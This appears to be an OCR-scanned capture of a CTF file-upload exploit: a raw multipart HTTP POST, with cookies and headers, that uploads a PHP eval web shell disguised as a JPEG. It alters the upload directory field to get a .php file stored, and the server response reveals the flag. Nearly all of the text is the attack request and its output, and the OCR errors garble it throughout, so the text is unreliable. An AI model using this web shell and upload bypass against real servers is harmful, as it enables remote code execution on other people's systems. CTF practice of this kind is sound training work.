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POST /web/upload/upload. php HITP/1.1

Host: ctf5. shiyanbar. con

User—Agent: Mozilla/5.0 (Windows NI 10.0: WOWG4: r+v:52.0) Gecko /20100101
Firefox/52.0

Accept: text/html, application/xhtnl+xml, application/xml;g=0. 89, #/% ¢=0.8
Accept-Language: zh-CHN, zh:g=0. 8, en-US:g=0. 5, en: g=0. 3

Accept—Encoding: gzip, deflate

Referer: http://ctf5. shiyanbar. con/web/upload/

Cookie: sample-hash=571580b26cGof306376d4f64e53chieT; source=0;
Ho_lvt_34d6f7353ah0915a4c582e4516dffhe3=1532707606, 1532760010, 1533172636, 1534577923,

Hm_cv_34d6f7353ah0915a4c582e45168df fhed=1*visitor*147506%2Cn1 chlansh 24%E 4%E0% 05%ERBAR
HEE%ESHEERACKESHADSO0; Hm_lpvt_34d6£7353ab0015a4c582e4516dffhe3=1534577051;
PHPSESSID=2r55m21cThteBs5taihfo9ks26

Connection: close

Upgrade-Insecure—Requests: 1

Content-Type: multipart/form—data:
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Content-Length: 419

T8043088923211
Content-Disposition: form—data; name="dir”

/uploads/1. phpz|

78943088923211
Content-Disposition: form-data: name="file”; filename="1. jpg”
Content-Type: image/jpeg

<7php @eval (§_POST[ pass’1):7>
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Content-Disposition: form—data; nawe="submit”
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<htmi><head><meta charset="utf-8" l></head><body>
Upload: 1.jpg<br />Type: imagejpeg<br />Size: 0.029296875 Kb<br />Stored in:
Juploads/Ba%e5f6aTaT8%ach.php<br= 3 ¥ #:3Kiag — 4= <br>Mag{SimCTF_huachuan}=/lody>
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70fBebcc7dB64c5697d9d84fd37b51b004da767df3264bff.game.ichungiu.com
FlZ= http 70f8ebcc7dB864c5697d9d84fd37b51b004da767df3264bff.game.ichungiu.com
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